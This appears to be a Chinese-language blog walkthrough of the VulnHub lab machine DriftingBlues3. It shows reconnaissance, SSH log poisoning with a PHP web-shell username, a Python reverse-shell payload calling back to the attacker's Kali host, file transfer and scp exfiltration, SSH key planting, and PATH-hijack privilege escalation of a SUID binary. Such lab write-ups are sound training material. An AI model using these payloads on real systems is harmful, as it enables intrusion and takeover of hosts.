Driftingblues3靶机练习
网络结构:
环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24
网络由攻击机kali、靶机组成
靶机ip:192.168.1.146
kali linux ip:192.168.1.137
靶机获取:https://www.vulnhub.com/entry/driftingblues-3,656/
信息收集:
主机发现:
nmap -sP 192.168.1.0/24
如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.146
端口扫描:
nmap -p 1-65535 -A 192.168.1.146 -sV -T4
如图,靶机开放了80端口http服务和22端口ssh服务
访问主机的80端口,可以看到web主页,并没有什么特殊的跳转地址
目录爆破:
使用dirb进行目录遍历:
dirb "http://192.168.1.146" /usr/share/dirb/wordlists/big.txt
依次访问后,并没有发现什么特别的页面,包括/phpmyadmin页面,并非数据库管理页面,只是一个静态页面
同时使用dirsearch对目标主机进行遍历,补充爆破结果,但遍历后结果类似
python dirsearch.py -u 192.168.1.146
尝试访问主机的robots.txt,给出了一个/eventadmins目录
访问,是一个静态页面
但查看页面源码时,给出了一个页面/littlequeenofspades.html,访问看看,同样是一个静态页面
再次查看页面源代码,这次给了一串base64加密的密文
两次解密后,得到一个php页面
访问测试,看到此页面为一个ssh访问日志
漏洞挖掘:
在日志中可以看到,即便是访问失败的用户,日志也同样会记录下用户名等信息,这里使用一个abcdef用户进行测试
如图,用户名已被记录
既然日志会完全记录ssh登录用户名,又没有对用户名进行限制,这里我们可以利用日志进行反弹shell
ssh '<?php system($_GET['cmd']);?>'@192.168.1.146
带入参数进行测试,如图,构造的命令已经成功带入进日志
这里只需要再构造一个反弹shell的payload,首先kali监听端口
web端注入payload
export RHOST="192.168.1.137";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
反弹成功
权限提升:
首先获取一个交互shell
python -c "import pty;pty.spawn('/bin/bash');"
用LinEnum获取一下本地信息,LinEnum.sh是一个本地信息收集脚本,可以收集包括服务、内核版本、suid文件等各种信息
本地搭建http服务器,将要传输的文件放置在此目录
python3 -m http.server 8001
靶机端下载此文件
wget http://192.168.1.137:8000/LinEnum.sh
运行脚本
将运行结果移出来
scp 1.txt [email protected]:/root/1.txt
收集结果中可以看到,在设置了suid的文件中,除了部分系统命令,还有一个getinfo文件,很显然为自创文件
但我们现在的www用户并没有此文件的任何权限,想利用这个文件,还需要切换其他用户,在收集结果中同样可以看到,passwd文件我们是有读权限的,看下用户
如上图,robertj用户是/bin/bash,允许登录的
靶机的web服务很有限,且在做信息收集的过程中并没有看到什么类似配置文件的线索,系统版本也很高,三个月前刚刚发布,没有发现什么可利用的内核漏洞,只能从ssh入手了
查看ssh配置文件,/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录,下面也给出了公钥文件的存放目录
我们先在kali端用ssh-keygen生成公私钥对
之后再搭建一次http服务,将这个文件下载到靶机
wget http://192.168.1.137:8001/robertj.pub
修改文件名为authorized_keys,并复制到指定目录
使用ssh,以robertj用户身份登录
ssh -i robertj [email protected]
登录成功,查看一下robertj家目录下的flag文件,无误
此时可以运行之前我们看到的那个getinfo文件
可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令
这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中
export PATH=/home/robertj:$PATH
添加权限
再次运行getinfo,提权成功
查看flag
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论